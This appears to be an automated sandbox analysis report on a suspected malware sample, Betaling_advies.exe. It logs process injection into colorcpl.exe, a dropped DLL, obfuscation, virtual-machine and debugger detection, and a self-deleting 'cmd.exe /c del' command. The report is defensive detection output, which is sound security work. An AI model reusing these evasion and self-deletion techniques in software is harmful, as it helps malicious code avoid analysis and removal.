Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Betaling_advies.exe ReversingLabs: Detection: 14%
Source: C:\Users\user\Desktop\Betaling_advies.exe File read: C:\Users\user\Desktop\Betaling_advies.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Betaling_advies.exe 'C:\Users\user\Desktop\Betaling_advies.exe'
Source: C:\Users\user\Desktop\Betaling_advies.exe Process created: C:\Users\user\Desktop\Betaling_advies.exe 'C:\Users\user\Desktop\Betaling_advies.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
Source: C:\Windows\SysWOW64\colorcpl.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Betaling_advies.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Betaling_advies.exe Process created: C:\Users\user\Desktop\Betaling_advies.exe 'C:\Users\user\Desktop\Betaling_advies.exe' Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Betaling_advies.exe' Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: Binary string: C:\xampp\htdocs\Cryptor\74d81a217a414a2aaee1ac9ce14525a2\Loader\Loader\Release\22ct3mhbr.pdb source: Betaling_advies.exe, 00000000.00000002.654453331.0000000000788000.00000004.00020000.sdmp, 571kzkbal.dll.0.dr
Source: Binary string: colorcpl.pdbGCTL source: Betaling_advies.exe, 00000001.00000002.692704063.0000000000D70000.00000040.00000001.sdmp
Source: Binary string: colorcpl.pdb source: Betaling_advies.exe, 00000001.00000002.692704063.0000000000D70000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.666885783.0000000005A00000.00000002.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: Betaling_advies.exe, 00000000.00000003.646799474.000000001EEB0000.00000004.00000001.sdmp, Betaling_advies.exe, 00000001.00000002.692105049.0000000000B2F000.00000040.00000001.sdmp, colorcpl.exe, 00000007.00000002.910878162.00000000047BF000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: Betaling_advies.exe, colorcpl.exe
Source: Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.666885783.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\Betaling_advies.exe Unpacked PE file: 1.2.Betaling_advies.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode, 0_2_00401FDC
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004153DD push ebp; ret 1_2_004153E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041B3F2 push eax; ret 1_2_0041B3F8
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041B3FB push eax; ret 1_2_0041B462
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041B3A5 push eax; ret 1_2_0041B3F8
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041B45C push eax; ret 1_2_0041B462
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00417DC3 pushad ; ret 1_2_00417DC4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00415E10 push edi; ret 1_2_00415E31
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00414F69 push edx; ret 1_2_00414F6A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A8D0D1 push ecx; ret 1_2_00A8D0E4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_004153DD push ebp; ret 1_1_004153E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041B3F2 push eax; ret 1_1_0041B3F8
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041B3FB push eax; ret 1_1_0041B462
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041B3A5 push eax; ret 1_1_0041B3F8
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041B45C push eax; ret 1_1_0041B462
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00417DC3 pushad ; ret 1_1_00417DC4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00415E10 push edi; ret 1_1_00415E31
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00414F69 push edx; ret 1_1_00414F6A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0471D0D1 push ecx; ret 7_2_0471D0E4
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_025453DD push ebp; ret 7_2_025453E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0254B3F2 push eax; ret 7_2_0254B3F8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0254B3FB push eax; ret 7_2_0254B462
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0254B3A5 push eax; ret 7_2_0254B3F8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02545E10 push edi; ret 7_2_02545E31
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02544F69 push edx; ret 7_2_02544F6A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0254B45C push eax; ret 7_2_0254B462
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02547DC3 pushad ; ret 7_2_02547DC4

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\Betaling_advies.exe File created: C:\Users\user\AppData\Local\Temp\nsx3A6A.tmp\571kzkbal.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\Betaling_advies.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Betaling_advies.exe RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Betaling_advies.exe RDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\colorcpl.exe RDTSC instruction interceptor: First address: 00000000025385E4 second address: 00000000025385EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\colorcpl.exe RDTSC instruction interceptor: First address: 000000000253896E second address: 0000000002538974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\Betaling_advies.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004088A0 rdtsc 1_2_004088A0
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 6552 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe TID: 6892 Thread sleep time: -48000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\colorcpl.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\colorcpl.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00405301 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA, 0_2_00405301
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00405C94 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose, 0_2_00405C94
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_004026BC FindFirstFileA, 0_2_004026BC
Source: explorer.exe, 00000004.00000002.920747252.00000000058C0000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.670369166.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.667370950.0000000006650000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.670369166.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000002.917151213.0000000004710000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000004.00000002.920747252.00000000058C0000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.670564203.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000004.00000002.920747252.00000000058C0000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.670650414.000000000A784000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000004.00000002.920747252.00000000058C0000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\Betaling_advies.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Betaling_advies.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004088A0 rdtsc 1_2_004088A0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00409B10 LdrLoadDll, 1_2_00409B10
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_72AD1000 Ivlfdpdlcleoxmzl,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile, 0_2_72AD1000
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00401FDC SetErrorMode,GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,SetErrorMode, 0_2_00401FDC
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_02651628 mov eax, dword ptr fs:[00000030h] 0_2_02651628
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_02651840 mov eax, dword ptr fs:[00000030h] 0_2_02651840
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 mov eax, dword ptr fs:[00000030h] 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 mov eax, dword ptr fs:[00000030h] 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 mov eax, dword ptr fs:[00000030h] 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 mov eax, dword ptr fs:[00000030h] 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 mov eax, dword ptr fs:[00000030h] 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 mov eax, dword ptr fs:[00000030h] 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A790AF mov eax, dword ptr fs:[00000030h] 1_2_00A790AF
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6F0BF mov ecx, dword ptr fs:[00000030h] 1_2_00A6F0BF
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6F0BF mov eax, dword ptr fs:[00000030h] 1_2_00A6F0BF
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6F0BF mov eax, dword ptr fs:[00000030h] 1_2_00A6F0BF
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39080 mov eax, dword ptr fs:[00000030h] 1_2_00A39080
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB3884 mov eax, dword ptr fs:[00000030h] 1_2_00AB3884
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB3884 mov eax, dword ptr fs:[00000030h] 1_2_00AB3884
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A340E1 mov eax, dword ptr fs:[00000030h] 1_2_00A340E1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A340E1 mov eax, dword ptr fs:[00000030h] 1_2_00A340E1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A340E1 mov eax, dword ptr fs:[00000030h] 1_2_00A340E1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A358EC mov eax, dword ptr fs:[00000030h] 1_2_00A358EC
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00ACB8D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACB8D0 mov ecx, dword ptr fs:[00000030h] 1_2_00ACB8D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00ACB8D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00ACB8D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00ACB8D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00ACB8D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6002D mov eax, dword ptr fs:[00000030h] 1_2_00A6002D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6002D mov eax, dword ptr fs:[00000030h] 1_2_00A6002D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6002D mov eax, dword ptr fs:[00000030h] 1_2_00A6002D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6002D mov eax, dword ptr fs:[00000030h] 1_2_00A6002D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6002D mov eax, dword ptr fs:[00000030h] 1_2_00A6002D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4B02A mov eax, dword ptr fs:[00000030h] 1_2_00A4B02A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4B02A mov eax, dword ptr fs:[00000030h] 1_2_00A4B02A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4B02A mov eax, dword ptr fs:[00000030h] 1_2_00A4B02A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4B02A mov eax, dword ptr fs:[00000030h] 1_2_00A4B02A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B04015 mov eax, dword ptr fs:[00000030h] 1_2_00B04015
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B04015 mov eax, dword ptr fs:[00000030h] 1_2_00B04015
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB7016 mov eax, dword ptr fs:[00000030h] 1_2_00AB7016
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB7016 mov eax, dword ptr fs:[00000030h] 1_2_00AB7016
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB7016 mov eax, dword ptr fs:[00000030h] 1_2_00AB7016
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B01074 mov eax, dword ptr fs:[00000030h] 1_2_00B01074
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF2073 mov eax, dword ptr fs:[00000030h] 1_2_00AF2073
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A50050 mov eax, dword ptr fs:[00000030h] 1_2_00A50050
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A50050 mov eax, dword ptr fs:[00000030h] 1_2_00A50050
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A661A0 mov eax, dword ptr fs:[00000030h] 1_2_00A661A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A661A0 mov eax, dword ptr fs:[00000030h] 1_2_00A661A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00AF49A4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00AF49A4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00AF49A4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF49A4 mov eax, dword ptr fs:[00000030h] 1_2_00AF49A4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB69A6 mov eax, dword ptr fs:[00000030h] 1_2_00AB69A6
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB51BE mov eax, dword ptr fs:[00000030h] 1_2_00AB51BE
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB51BE mov eax, dword ptr fs:[00000030h] 1_2_00AB51BE
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB51BE mov eax, dword ptr fs:[00000030h] 1_2_00AB51BE
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB51BE mov eax, dword ptr fs:[00000030h] 1_2_00AB51BE
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6A185 mov eax, dword ptr fs:[00000030h] 1_2_00A6A185
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5C182 mov eax, dword ptr fs:[00000030h] 1_2_00A5C182
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62990 mov eax, dword ptr fs:[00000030h] 1_2_00A62990
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00A3B1E1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00A3B1E1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00A3B1E1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AC41E8 mov eax, dword ptr fs:[00000030h] 1_2_00AC41E8
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A54120 mov eax, dword ptr fs:[00000030h] 1_2_00A54120
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A54120 mov eax, dword ptr fs:[00000030h] 1_2_00A54120
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A54120 mov eax, dword ptr fs:[00000030h] 1_2_00A54120
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A54120 mov eax, dword ptr fs:[00000030h] 1_2_00A54120
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A54120 mov ecx, dword ptr fs:[00000030h] 1_2_00A54120
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6513A mov eax, dword ptr fs:[00000030h] 1_2_00A6513A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6513A mov eax, dword ptr fs:[00000030h] 1_2_00A6513A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39100 mov eax, dword ptr fs:[00000030h] 1_2_00A39100
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39100 mov eax, dword ptr fs:[00000030h] 1_2_00A39100
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39100 mov eax, dword ptr fs:[00000030h] 1_2_00A39100
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3C962 mov eax, dword ptr fs:[00000030h] 1_2_00A3C962
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3B171 mov eax, dword ptr fs:[00000030h] 1_2_00A3B171
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3B171 mov eax, dword ptr fs:[00000030h] 1_2_00A3B171
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5B944 mov eax, dword ptr fs:[00000030h] 1_2_00A5B944
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5B944 mov eax, dword ptr fs:[00000030h] 1_2_00A5B944
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A352A5 mov eax, dword ptr fs:[00000030h] 1_2_00A352A5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A352A5 mov eax, dword ptr fs:[00000030h] 1_2_00A352A5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A352A5 mov eax, dword ptr fs:[00000030h] 1_2_00A352A5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A352A5 mov eax, dword ptr fs:[00000030h] 1_2_00A352A5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A352A5 mov eax, dword ptr fs:[00000030h] 1_2_00A352A5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4AAB0 mov eax, dword ptr fs:[00000030h] 1_2_00A4AAB0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4AAB0 mov eax, dword ptr fs:[00000030h] 1_2_00A4AAB0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6FAB0 mov eax, dword ptr fs:[00000030h] 1_2_00A6FAB0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6D294 mov eax, dword ptr fs:[00000030h] 1_2_00A6D294
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6D294 mov eax, dword ptr fs:[00000030h] 1_2_00A6D294
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62AE4 mov eax, dword ptr fs:[00000030h] 1_2_00A62AE4
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62ACB mov eax, dword ptr fs:[00000030h] 1_2_00A62ACB
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A74A2C mov eax, dword ptr fs:[00000030h] 1_2_00A74A2C
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A74A2C mov eax, dword ptr fs:[00000030h] 1_2_00A74A2C
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A48A0A mov eax, dword ptr fs:[00000030h] 1_2_00A48A0A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A35210 mov eax, dword ptr fs:[00000030h] 1_2_00A35210
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A35210 mov ecx, dword ptr fs:[00000030h] 1_2_00A35210
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A35210 mov eax, dword ptr fs:[00000030h] 1_2_00A35210
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A35210 mov eax, dword ptr fs:[00000030h] 1_2_00A35210
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3AA16 mov eax, dword ptr fs:[00000030h] 1_2_00A3AA16
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3AA16 mov eax, dword ptr fs:[00000030h] 1_2_00A3AA16
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A53A1C mov eax, dword ptr fs:[00000030h] 1_2_00A53A1C
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFAA16 mov eax, dword ptr fs:[00000030h] 1_2_00AFAA16
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFAA16 mov eax, dword ptr fs:[00000030h] 1_2_00AFAA16
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AEB260 mov eax, dword ptr fs:[00000030h] 1_2_00AEB260
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AEB260 mov eax, dword ptr fs:[00000030h] 1_2_00AEB260
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B08A62 mov eax, dword ptr fs:[00000030h] 1_2_00B08A62
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A7927A mov eax, dword ptr fs:[00000030h] 1_2_00A7927A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39240 mov eax, dword ptr fs:[00000030h] 1_2_00A39240
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39240 mov eax, dword ptr fs:[00000030h] 1_2_00A39240
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39240 mov eax, dword ptr fs:[00000030h] 1_2_00A39240
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A39240 mov eax, dword ptr fs:[00000030h] 1_2_00A39240
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFEA55 mov eax, dword ptr fs:[00000030h] 1_2_00AFEA55
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AC4257 mov eax, dword ptr fs:[00000030h] 1_2_00AC4257
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A64BAD mov eax, dword ptr fs:[00000030h] 1_2_00A64BAD
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A64BAD mov eax, dword ptr fs:[00000030h] 1_2_00A64BAD
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A64BAD mov eax, dword ptr fs:[00000030h] 1_2_00A64BAD
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B05BA5 mov eax, dword ptr fs:[00000030h] 1_2_00B05BA5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF138A mov eax, dword ptr fs:[00000030h] 1_2_00AF138A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A41B8F mov eax, dword ptr fs:[00000030h] 1_2_00A41B8F
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A41B8F mov eax, dword ptr fs:[00000030h] 1_2_00A41B8F
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AED380 mov ecx, dword ptr fs:[00000030h] 1_2_00AED380
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62397 mov eax, dword ptr fs:[00000030h] 1_2_00A62397
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6B390 mov eax, dword ptr fs:[00000030h] 1_2_00A6B390
